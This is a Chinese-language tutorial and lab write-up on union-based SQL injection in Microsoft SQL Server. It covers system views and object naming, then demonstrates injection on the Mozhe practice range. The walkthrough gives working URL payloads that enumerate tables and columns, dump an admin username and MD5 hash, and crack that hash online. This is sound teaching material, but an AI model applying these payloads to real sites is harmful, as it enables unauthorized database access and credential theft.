sql server(mssql)聯合注入
sql server(mssql)聯合注入
- sql server簡介:
- SQL Server 是Microsoft 公司推出的關係型數據庫管理系統。具有使用方便可伸縮性好與相關軟件集成程度高等優點,可跨越從運行Microsoft Windows 98 的膝上型電腦到運行Microsoft Windows 2012 的大型多處理器的服務器等多種平台使用。
1. 前置知識
- 以下資料均來自:sql server聯機叢書:
1.1 sql server數據庫內置函數:
- DB_NAME ( [ database_id ] ):如果對 DB_NAME 的調用省略 database_id,則 DB_NAME 返回當前數據庫的名稱;如果不省略,則返回對應數據庫id的數據庫名稱
- COL_NAME ( table_id , column_id ):
- 參數:
- table_id:包含列的表的標識號。table_id 的類型為 int。
- column_id:列的標識號。column_id 參數的類型為 int。
- 作用:據指定的對應表標識號和列標識號返回列的名稱。
- 參數:
- OBJECT_ID ( ‘[ database_name . [ schema_name ] . | schema_name . ] object_name’ [ ,’object_type’ ] )
- 參數:
- object_name:要使用的對象。object_name 的數據類型為 varchar 或 nvarchar。如果 object_name 的數據類型為 varchar,則它將隱式轉換為nvarchar。可以選擇是否指定數據庫和架構名稱。
- object_type:架構範圍的對象類型。object_type 的數據類型為 varchar 或 nvarchar。如果 object_type 的數據類型為 varchar,則它將隱式轉換為 nvarchar。
- 作用:返回架構範圍內對象的數據庫對象標識號。
- 參數:
- @@VERSION
- 作用:返回當前的 SQL Server 安裝的版本、處理器體系結構、生成日期和操作系統。
1.2 sql server數據庫的系統視圖
以下系統視圖在數據庫創建之初就會默認創建,存在於每一個數據庫中
- sysobjects:
- 準確的來說應稱 sysobject 為系統視圖,而不是表;不過在sql server2000版本及以前它的確是作為表而存在的。
- 作用:這張視圖存儲量該數據庫內每一個對象(包括約束、默認值、日誌、規則、存儲過程等),每一個對象為其中的一條記錄
- 擁有的字段名(這裡只介紹數據庫提供支持的字段):
* 列名 數據類型 說明 name; sysname; 對象名 id; int; 對象標識號 uid; smallint; 對象所有者的架構 ID。__對於從舊版 SQL Server 升級的數據庫,架構 ID 等於所有者的用戶 ID。__ parent_obj; int; 父對象的對象標識號。例如,表 ID(如果父對象是觸發器或約束)。 crdate; datetime; 對象的創建日期。 ftcatid; smallint; 註冊為使用全文索引的所有用戶表的全文目錄標識符,對於沒有註冊的所有用戶表則為 0。 schema_ver; int; 在每次更改表的架構時都會增加的版本號。始終返回 0。 xtype; char(2); 對象類型。可以是以下對象類型之一: AF = 聚合函數 (CLR) C = CHECK 約束 D = 默認值或 DEFAULT 約束 F = FOREIGN KEY 約束 L = 日誌 FN = 標量函數 FS = 程序集 (CLR) 標量函數 FT = 程序集 (CLR) 表值函數 IF = 內聯表函數 IT = 內部表 P = 存儲過程 PC = 程序集 (CLR) 存儲過程 PK = PRIMARY KEY 約束(類型為 K) RF = 複製篩選存儲過程 S = 系統表 SN = 同義詞 SQ = 服務隊列 TA = 程序集 (CLR) DML 觸發器 TF = 表函數 TR = SQL DML 觸發器 TT = 表類型 U = 用戶表(__我們在這裡使用的就是這個參數__) UQ = UNIQUE 約束(類型為 K) V = 視圖 X = 擴展存儲過程
- syscolumns
- 作用;為每個表和視圖中的每一字段返回一行,並為數據庫中的存儲過程的每個參數返回一行
- 擁有的字段名(這裡只介紹數據庫提供支持的字段)
列名 數據類型 說明 name sysname 列名或過程參數的名稱。 id int 此列所屬表的對象 ID,或者與此參數關聯的存儲過程的 ID。 xtype tinyint sys.types 中的物理存儲類型。 typestat tinyint 標識為僅供參考。不提供支持。不保證以後的兼容性。 xusertype smallint 擴展的用戶定義數據類型的ID。如果數據類型的數字超過 32,767,則溢出或返回 NULL。有關詳細信息,請參閱查詢 SQL Server 系統目錄。 length smallint sys.types 中的最大物理存儲長度。 colid smallint 列 ID 或參數 ID。 cdefault int 此列的默認值的 ID。 domain int 此列的規則或 CHECK 約束的 ID number smallint 過程分組時的子過程號。0 = 非過程項 容性。 offset smallint 此列所在行的偏移量。 collationid int 列的排序規則的 ID。對於非字符列,此值為 NULL。 status tinyint 用於說明列或參數的屬性的位圖: type tinyint sys.types 中的物理存儲類型。 usertype smallint sys.types中的用戶定義數據類型的 ID。如果數據類型數超過 32767,則會發生溢出或返回 NULL。有關詳細信息,請參閱查詢 SQL Server 系統目錄。 prec smallint 此列的精度級別。-1 = xml 或大值類型。 scale int 此列的小數位數。NULL = 數據類型不是數值。 iscomputed int 指示列是否為計算列的標誌:0 = 非計算列。1 = 計算列。 isoutparam int 指示過程參數是否為輸出參數:1 = True 0 = False isnullable int 指示列是否允許空值:1 = True 0 = False collation sysname 列的排序規則的名稱。如果不是基於字符的列,則為 NULL。
1.3 Transact-SQL 語法約定 –> 多部分名稱
- 這部分知識用來理解sql語句:select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’),’3′,null 中, mozhe_db_v2.dbo.sysobjects 的命名格式的含義。
- 多部分名稱:
- 除非另外指定,否則,所有對數據庫對象名的Transact-SQL引用將是由四部分組成的名稱,格式如下:
server_name .[database_name].[schema_name].object_name | database_name.[schema_name].object_name | schema_name.object_name | object_name
- 解釋說明:
- server_name:指定鏈接的服務器名稱或遠程服務器名稱。
- database_name:如果對象駐留在 SQL Server 的本地實例中(說人話就是你操作的數據庫在本地),則指定 SQL Server 數據庫的名稱。如果對象在鏈接服務器中,則 database_name 將指定 OLE DB 目錄。
- schema_name:如果對象在 SQL Server數據庫中,則指定包含對象的 架構的名稱(對於從舊版 SQL Server 升級的數據庫,
架構 ID
等於所有者的用戶 ID
)。如果對象在鏈接服務器中,則 schema_name將指定 OLE DB 架構名稱。 - object_name:對象的名稱。
- 注意:
- 引用某個特定對象時,不必總是指定服務器、數據庫和架構供 SQL Server數據庫引擎標識該對象。但是,如果找不到該對象,將返回錯誤。
- 對於從舊版 SQL Server 升級的數據庫,
架構 ID
等於所有者的用戶 ID
- 若要省略中間節點,請使用句點來指示這些位置。下表顯示了對象名的有效格式。
server . database . schema . object 四個部分的名稱。 server . database .. object 省略架構名稱。 server .. schema . object 省略數據庫名稱。 server ... object 省略數據庫和架構名稱。 database . schema . object 省略服務器名。 database .. object 省略服務器和架構名稱。 schema . object 省略服務器和數據庫名稱。 object 省略服務器、數據庫和架構名稱。
- 除非另外指定,否則,所有對數據庫對象名的Transact-SQL引用將是由四部分組成的名稱,格式如下:
1.4 關於對象、架構(結合 1.3的多部分名稱理解 )
- 對象:在sql server數據庫中,表,視圖,函數等都被看作為 「(安全)對象」。每一個對象都有其 「對象名」 以及其 「對象ID」。
- 架構:架構是指包含
表、視圖、過程等對象
的容器
。它位於數據庫內部,而數據庫位於服務器內部。這些實體就像嵌套框放置在一起。服務器是最外面的框,而架構是最裏面的框。架構 包含下面列出的所有【安全對象】,但是它不包含其他框。必須位於架構內部的安全對象 類 類型 TYPE XML 架構集合 XML SCHEMA COLLECTION 表 OBJECT 視圖 OBJECT 過程 OBJECT 函數 OBJECT 聚合函數 OBJECT 約束 OBJECT 同義詞 OBJECT 隊列 OBJECT 統計信息 OBJECT
- 默認架構
- 為了解析不完全限定的安全對象名稱,SQL Server 2000使用名稱解析來檢查執行調用的數據庫用戶所擁有的架構和 dbo 所擁有的架構。
- DBO是系統的默認架構,DBO作為架構來定義對象,能夠使數據庫中的任何用戶引用而不必提供架構名稱。DBO架構的所有者默認是dbo賬戶。
- sys也是系統的默認架構,sys架構的所有者默認是sys賬戶。
- 注意:
- 特定架構中的
每個安全對象都
必須有唯一的名稱
。架構中安全對象的 「完全指定名稱」 包括此安全對象所在的架構的名稱
。因此,架構也是命名空間。 - 【在 SQL Server 2000 和早期版本中】,數據庫可以包含一個名為 「架構」 的實體,但此實體實際上是 「數據庫用戶」;【在 SQL Server 2005 中】,架構行為已更改。架構不再等效於數據庫用戶。現在,每個架構都是獨立於創建它的數據庫用戶存在的不同命名空間。
即:在 SQL Server 2005 和 SQL Server 2008 中
,架構既是一個容器,又是一個命名空間,且架構只能有一個所有者,但一個用戶可以擁有多個架構。
- 特定架構中的
2.mssql 聯合注入流程
- 判斷注入點
- 判斷當前注入點所查詢的字段數
- 確定顯示位
- 查詢當前數據庫名,當前數據庫的版本號
- 查詢當前數據庫中有多少張表
- 查詢數據庫中的所有表名
- 查詢表中有多少字段
- 查詢每一個字段的名稱
- 判斷manage表中有多少條記錄
- 查詢賬號密碼
3. 靶場實戰(這裡以「墨者」的的靶場為例)
- 靶場網址://www.mozhe.cn/bug
3.1 判斷注入點
- payload:
?id=2 and 1=1 -- 頁面返回正常 ?id=2 and 1=2 -- 頁面返回出錯
- 由下圖可分析得:存在注入點,且為數字型注入
- 由下圖可分析得:存在注入點,且為數字型注入
3.2 判斷當前注入點所查詢的字段數
- payload
?id=2 order by 4 -- 頁面返回正常 ?id=2 order by 5 -- 頁面返回失敗
- 由下圖分析可得:判斷當前注入點所查詢的字段數為:4
- 由下圖分析可得:判斷當前注入點所查詢的字段數為:4
3.3 確定顯示位
- payload:
?id=2 and 1=2 union all select null,null,null,null ?id=2 and 1=2 union all select 'null',null,null,null ?id=2 and 1=2 union all select null,'null',null,null -- 出現顯示位 ?id=2 and 1=2 union all select null,null,'null',null -- 出現顯示位 ?id=2 and 1=2 union all select null,null,null,'null'
- 由下圖分析可得:顯示位出現在 2號 和 3號 位。
- 這裡說明一下,為什麼sql server與mysql 確定顯示位的方法不同:
- 原因是sql server數據庫是強數據類型,即union關鍵字前後的select查詢所查詢的字段的數據類型必須相同(mysql可以不同),這就導致在我們不知道union關鍵字前面的數據類型的前提下,必須先使用 null數據類型 來充當字段。然後依次為 null 加單引號使其變為字符串類型,如果加上單引號使null變為的字符串類型與union前面對應的字段類型相同,就自然會在頁面中回顯出顯示位。
- 由下圖分析可得:顯示位出現在 2號 和 3號 位。
3.4 查詢當前數據庫名,當前數據庫的版本號
- payload:
?id=2 and 1=2 union all select null,db_name(),@@version,null
- 由下圖我們可以得出:當前數據庫名為 mozhe_db_v2
- 由下圖我們可以得出:當前數據庫名為 mozhe_db_v2
3.5 查詢當前數據庫中有多少張表
- payload1:
?id=2 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.sysobjects where xtype='u'),@@version,null
- 由下圖的回顯可知:當前數據庫存在2張表
- 為了讓我們更深入的理解上述sql語句以及sql server的機制,在此借題發揮一下,請同學們結合我前面所介紹的「前置知識–>Transact-SQL 語法約定–>多部分名稱」 來判斷一下,下面的payload是否可以達到與上面payload相同的效果?
payload2:?id=1 and 1=2 union all select null,(select count(*) from ...sysobjects where xtype='u'),@@version,null payload3:?id=1 and 1=2 union all select null,(select count(*) from sysobjects where xtype='u'),@@version,null payload4:?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2..sysobjects where xtype='u'),@@version,null payload5:?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.sysobjects where xtype='u'),@@version,null
- 下圖是以上payload的執行結果:
- 我們可以看出,只有payload5執行失敗了。
- 由下圖的回顯可知:當前數據庫存在2張表
3.6 查詢數據庫中的所有表名
- payload:
- 查詢第一張表名:
?id=1 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',null
- 查詢第二張表名:
?id=1 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name<>'manage'),'3',null
- 顯然 manage 表是我們所需要的。
- 查詢第一張表名:
3.7 查詢表中有多少字段
- payload:
?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.syscolumns where id=object_id('manage')),'3',null
- 由圖分析可知:manage表中存在3個字段。
- 由圖分析可知:manage表中存在3個字段。
3.8 查詢每一個字段的名稱
- payload:(使用col_name()函數)
- 查詢manage表的第一個字段名
?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),1) ),'3',null
- 查詢manage表的第二個字段名
?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),2) ),'3',null
- 查詢manage表的第三個字段名
?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),3) ),'3',null
- 顯然字段 username 與 password 是我們所需要的
- 查詢manage表的第一個字段名
- 其實在這裡我們也可以使用以下payload來查詢字段名(使用了syscolumns系統視圖,不使用col_name()函數)— 關於syscolumns系統視圖請看 前置知識
-- 查詢manage表的第一個字段名 ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage')),null,null -- 查詢manage表的第二個字段名 ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id'),null,null -- 查詢manage表的第三個字段名 ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id' and name<>'username'),null,null
3.9 判斷manage表中有多少條記錄
- payload:
?id=1 and 1=2 union all select null,count(*),null,null from manage
- 由下圖可知,manage表中存在 1 條記錄
- 由下圖可知,manage表中存在 1 條記錄
3.10 查詢賬號密碼
- payload:
?id=1 and 1=2 union all select null,username,password,null from manage
- 由下圖可知,賬號密碼為:admin_mz/72e1bfc3f01b7583
- 顯然這裡的密碼是經過MD5加密後的,那麼我們就通過網站 //www.cmd5.com 進行解密,得到明文:97285101。所以賬號密碼:admin_mz/97285101
- 由下圖可知,賬號密碼為:admin_mz/72e1bfc3f01b7583
3.11 登錄後台拿flag
- KEY: mozhe3ecd86b639e1b4af48c27353ab0